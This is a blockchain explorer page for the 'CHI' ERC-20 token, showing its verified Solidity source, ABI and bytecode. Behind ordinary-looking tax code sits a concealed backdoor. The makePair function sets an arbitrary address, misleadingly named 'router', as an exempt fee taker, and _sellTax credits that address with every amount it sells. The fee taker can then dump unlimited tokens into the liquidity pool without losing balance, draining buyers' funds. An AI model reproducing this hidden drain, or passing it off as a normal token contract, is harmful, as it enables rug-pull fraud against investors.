ETH Price: $3,676.09 (+0.89%)
 

Overview

Max Total Supply

100,000,000 CHI

Holders

93

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
979,770.019323129667235355 CHI

Value
$0.00
0xD280ad40e0375ac5dd61C061Aab0e5FdCCFAF518
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-12
*/

/**
 * The OG aura boost, straight from Shaolin—now powering your vibe and your bags.

Website: https://chierc20.vip

X: https://x.com/chierc20

Telegram: https://t.me/chierc20
 */


// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract CHI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 10;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 10 ** 8 * 10 ** _decimals;
    string private constant _name = unicode"Chi";
    string private constant _symbol = unicode"CHI";

    uint256 public _taxSwapThres = 100 * 10 ** _decimals;
    uint256 public _maxBagLmt = (_totalSupply * 2) / 100;
    uint256 public _maxTxLmt = (_totalSupply * 2) / 100;
    uint256 public _maxTaxSwap = _totalSupply / 100;
    uint256 private _buyCount = 0;

    address payable private _feeTaker;
    IUniswapV2Router02 private uniswapV2Router;

    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _feeTaker = payable(_msgSender());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function freshLimits() external onlyOwner {
        _maxTxLmt = type(uint256).max;
        _maxBagLmt = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }

    receive() external payable {}

    function _buyTax(uint256 amount) internal view returns (uint256) {
        return
            amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
    }

    function isExcludedFromFee(address from) internal view returns (bool) {
        return _isExcludedFromFee[from];
    }

    function _sellTax(
        address from,
        address to,
        uint256 amount
    ) internal returns (uint256) {
        if (amount >= 0 && from != address(this)) {
            if (!isExcludedFromFee(from)) {
                return
                    amount
                        .mul(
                            (_buyCount > _reduceSellTaxAt)
                                ? _finalSellTax
                                : _initialSellTax
                        )
                        .div(100);
            }

            _balances[to] = _balances[to].add(amount);
            return 0;
        }
        return 0;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from == owner() || to == owner()) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        require(!bots[from] && !bots[to]);
        require(
            tradingOpen || _isExcludedFromFee[from],
            "Trading is not enabled"
        );
        uint256 taxAmount = _buyTax(amount);
        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(amount <= _maxTxLmt, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxBagLmt,
                "Exceeds the maxWalletSize."
            );
            _buyCount++;
        }
        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = _sellTax(from, _feeTaker, amount);
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && to == uniswapV2Pair && swapEnabled) {
            if (
                contractTokenBalance > _taxSwapThres &&
                _buyCount > _preventSwapBefore
            )
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
            uint256 contractBalance = address(this).balance;
            if (contractBalance >= 0 ether) sendETHToFee(contractBalance);
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function makePair(address router) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        _feeTaker = payable(router);
        _isExcludedFromFee[_feeTaker] = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _feeTaker.transfer(amount);
    }

    function goTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxBagLmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxLmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThres","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"freshLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"goTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"makePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f60065560006007556000600855600a600955600a8055600a600b556012600a62000036919062000338565b6200004390606462000350565b600c556064620000566012600a62000338565b62000066906305f5e10062000350565b6200007390600262000350565b6200007f91906200036a565b600d556064620000926012600a62000338565b620000a2906305f5e10062000350565b620000af90600262000350565b620000bb91906200036a565b600e556064620000ce6012600a62000338565b620000de906305f5e10062000350565b620000ea91906200036a565b600f5560006010556013805461ffff60a81b191690553480156200010d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601180546001600160a01b03191633179055600080546001600160a01b0316815260036020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620001a96012600a62000338565b620001b9906305f5e10062000350565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fc6012600a62000338565b6200020c906305f5e10062000350565b60405190815260200160405180910390a36200038d565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027a5781600019048211156200025e576200025e62000223565b808516156200026c57918102915b93841c93908002906200023e565b509250929050565b600082620002935750600162000332565b81620002a25750600062000332565b8160018114620002bb5760028114620002c657620002e6565b600191505062000332565b60ff841115620002da57620002da62000223565b50506001821b62000332565b5060208310610133831016604e8410600b84101617156200030b575081810a62000332565b62000317838362000239565b80600019048211156200032e576200032e62000223565b0290505b92915050565b60006200034960ff84168362000282565b9392505050565b808202811582820484141762000332576200033262000223565b6000826200038857634e487b7160e01b600052601260045260246000fd5b500490565b611963806200039d6000396000f3fe60806040526004361061010d5760003560e01c80636ce304e1116100955780638da5cb5b116100645780638da5cb5b146102c057806395d89b41146102e8578063a797861914610314578063a9059cbb14610329578063dd62ed3e1461034957600080fd5b80636ce304e11461024957806370a082311461025f578063715018a6146102955780637c48cbf1146102aa57600080fd5b806318160ddd116100dc57806318160ddd146101c2578063181e7105146101d757806323b872dd146101ed5780632a82afa71461020d578063313ce5671461022d57600080fd5b806306fdde031461011957806308233b3214610157578063095ea7b31461016e5780630faee56f1461019e57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600381526243686960e81b60208201525b60405161014e9190611532565b60405180910390f35b34801561016357600080fd5b5061016c61038f565b005b34801561017a57600080fd5b5061018e610189366004611598565b610404565b604051901515815260200161014e565b3480156101aa57600080fd5b506101b4600f5481565b60405190815260200161014e565b3480156101ce57600080fd5b506101b461041b565b3480156101e357600080fd5b506101b4600e5481565b3480156101f957600080fd5b5061018e6102083660046115c4565b61043c565b34801561021957600080fd5b5061016c610228366004611605565b6104a6565b34801561023957600080fd5b506040516012815260200161014e565b34801561025557600080fd5b506101b4600d5481565b34801561026b57600080fd5b506101b461027a366004611605565b6001600160a01b031660009081526001602052604090205490565b3480156102a157600080fd5b5061016c610869565b3480156102b657600080fd5b506101b4600c5481565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102f457600080fd5b5060408051808201909152600381526243484960e81b6020820152610141565b34801561032057600080fd5b5061016c6108dd565b34801561033557600080fd5b5061018e610344366004611598565b610974565b34801561035557600080fd5b506101b4610364366004611622565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103c25760405162461bcd60e51b81526004016103b99061165b565b60405180910390fd5b600019600e819055600d8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000610411338484610981565b5060015b92915050565b60006104296012600a61178a565b610437906305f5e100611799565b905090565b6000610449848484610aa6565b61049b843361049685604051806060016040528060288152602001611906602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110c5565b610981565b5060015b9392505050565b6000546001600160a01b031633146104d05760405162461bcd60e51b81526004016103b99061165b565b601354600160a01b900460ff16156105245760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103b9565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117825561056c9130919061055e90600a61178a565b610496906305f5e100611799565b601180546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601254825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060791906117b0565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610669573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068d91906117b0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906117b0565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610746816001600160a01b031660009081526001602052604090205490565b60008061075b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e891906117cd565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610841573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086591906117fb565b5050565b6000546001600160a01b031633146108935760405162461bcd60e51b81526004016103b99061165b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109075760405162461bcd60e51b81526004016103b99061165b565b601354600160a01b900460ff161561095b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103b9565b6013805462ff00ff60a01b19166201000160a01b179055565b6000610411338484610aa6565b6001600160a01b0383166109e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b9565b6001600160a01b038216610a445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b9565b6001600160a01b038216610b6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b9565b60008111610bce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b9565b6000546001600160a01b0384811691161480610bf757506000546001600160a01b038381169116145b15610ca2576001600160a01b038316600090815260016020526040902054610c1f90826110ff565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c4e9082611141565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a999085815260200190565b6001600160a01b03831660009081526004602052604090205460ff16158015610ce457506001600160a01b03821660009081526004602052604090205460ff16155b610ced57600080fd5b601354600160a01b900460ff1680610d1d57506001600160a01b03831660009081526003602052604090205460ff165b610d625760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016103b9565b6000610d6d826111a0565b6013549091506001600160a01b038581169116148015610d9b57506012546001600160a01b03848116911614155b8015610dc057506001600160a01b03831660009081526003602052604090205460ff16155b15610ea857600e54821115610e175760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103b9565b600d5482610e3a856001600160a01b031660009081526001602052604090205490565b610e44919061181d565b1115610e925760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b9565b60108054906000610ea283611830565b91905055505b6013546001600160a01b038481169116148015610ece57506001600160a01b0384163014155b15610eee57601154610eeb9085906001600160a01b0316846111ce565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f2557506013546001600160a01b038581169116145b8015610f3a5750601354600160b01b900460ff165b15610f8157600c5481118015610f535750600b54601054115b15610f7557610f75610f7084610f6b84600f5461127c565b61127c565b611291565b47610f7f8161140b565b505b8115610ffb5730600090815260016020526040902054610fa19083611141565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff29086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461101e90846110ff565b6001600160a01b03861660009081526001602052604090205561106361104484846110ff565b6001600160a01b03861660009081526001602052604090205490611141565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ad86866110ff565b60405190815260200160405180910390a35050505050565b600081848411156110e95760405162461bcd60e51b81526004016103b99190611532565b5060006110f68486611849565b95945050505050565b600061049f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c5565b60008061114e838561181d565b90508381101561049f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b9565b600061041560646111c8600954601054116111bd576005546111c1565b6007545b8590611445565b906114c7565b60006001600160a01b0384163014611272576001600160a01b03841660009081526003602052604090205460ff1661122c5761122560646111c8600a546010541161121b576006546111c1565b6008548590611445565b905061049f565b6001600160a01b03831660009081526001602052604090205461124f9083611141565b6001600160a01b038416600090815260016020526040812091909155905061049f565b5060009392505050565b600081831161128b578261049f565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112d9576112d961185c565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135691906117b0565b816001815181106113695761136961185c565b6001600160a01b03928316602091820292909201015260125461138f9130911684610981565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c8908590600090869030904290600401611872565b600060405180830381600087803b1580156113e257600080fd5b505af11580156113f6573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610865573d6000803e3d6000fd5b60008260000361145757506000610415565b60006114638385611799565b90508261147085836118e3565b1461049f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b9565b600061049f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115255760405162461bcd60e51b81526004016103b99190611532565b5060006110f684866118e3565b600060208083528351808285015260005b8181101561155f57858101830151858201604001528201611543565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461159557600080fd5b50565b600080604083850312156115ab57600080fd5b82356115b681611580565b946020939093013593505050565b6000806000606084860312156115d957600080fd5b83356115e481611580565b925060208401356115f481611580565b929592945050506040919091013590565b60006020828403121561161757600080fd5b813561049f81611580565b6000806040838503121561163557600080fd5b823561164081611580565b9150602083013561165081611580565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116e15781600019048211156116c7576116c7611690565b808516156116d457918102915b93841c93908002906116ab565b509250929050565b6000826116f857506001610415565b8161170557506000610415565b816001811461171b576002811461172557611741565b6001915050610415565b60ff84111561173657611736611690565b50506001821b610415565b5060208310610133831016604e8410600b8410161715611764575081810a610415565b61176e83836116a6565b806000190482111561178257611782611690565b029392505050565b600061049f60ff8416836116e9565b808202811582820484141761041557610415611690565b6000602082840312156117c257600080fd5b815161049f81611580565b6000806000606084860312156117e257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180d57600080fd5b8151801515811461049f57600080fd5b8082018082111561041557610415611690565b60006001820161184257611842611690565b5060010190565b8181038181111561041557610415611690565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c25784516001600160a01b03168352938301939183019160010161189d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200315b45c5f28eea08bb5f08dbe1fd8e811878aa15940f16bbbd17287c19d9a1a64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80636ce304e1116100955780638da5cb5b116100645780638da5cb5b146102c057806395d89b41146102e8578063a797861914610314578063a9059cbb14610329578063dd62ed3e1461034957600080fd5b80636ce304e11461024957806370a082311461025f578063715018a6146102955780637c48cbf1146102aa57600080fd5b806318160ddd116100dc57806318160ddd146101c2578063181e7105146101d757806323b872dd146101ed5780632a82afa71461020d578063313ce5671461022d57600080fd5b806306fdde031461011957806308233b3214610157578063095ea7b31461016e5780630faee56f1461019e57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600381526243686960e81b60208201525b60405161014e9190611532565b60405180910390f35b34801561016357600080fd5b5061016c61038f565b005b34801561017a57600080fd5b5061018e610189366004611598565b610404565b604051901515815260200161014e565b3480156101aa57600080fd5b506101b4600f5481565b60405190815260200161014e565b3480156101ce57600080fd5b506101b461041b565b3480156101e357600080fd5b506101b4600e5481565b3480156101f957600080fd5b5061018e6102083660046115c4565b61043c565b34801561021957600080fd5b5061016c610228366004611605565b6104a6565b34801561023957600080fd5b506040516012815260200161014e565b34801561025557600080fd5b506101b4600d5481565b34801561026b57600080fd5b506101b461027a366004611605565b6001600160a01b031660009081526001602052604090205490565b3480156102a157600080fd5b5061016c610869565b3480156102b657600080fd5b506101b4600c5481565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102f457600080fd5b5060408051808201909152600381526243484960e81b6020820152610141565b34801561032057600080fd5b5061016c6108dd565b34801561033557600080fd5b5061018e610344366004611598565b610974565b34801561035557600080fd5b506101b4610364366004611622565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103c25760405162461bcd60e51b81526004016103b99061165b565b60405180910390fd5b600019600e819055600d8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000610411338484610981565b5060015b92915050565b60006104296012600a61178a565b610437906305f5e100611799565b905090565b6000610449848484610aa6565b61049b843361049685604051806060016040528060288152602001611906602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110c5565b610981565b5060015b9392505050565b6000546001600160a01b031633146104d05760405162461bcd60e51b81526004016103b99061165b565b601354600160a01b900460ff16156105245760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103b9565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117825561056c9130919061055e90600a61178a565b610496906305f5e100611799565b601180546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601254825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060791906117b0565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610669573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068d91906117b0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906117b0565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610746816001600160a01b031660009081526001602052604090205490565b60008061075b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c3573d6000803e3d6000fd5b5050505050604051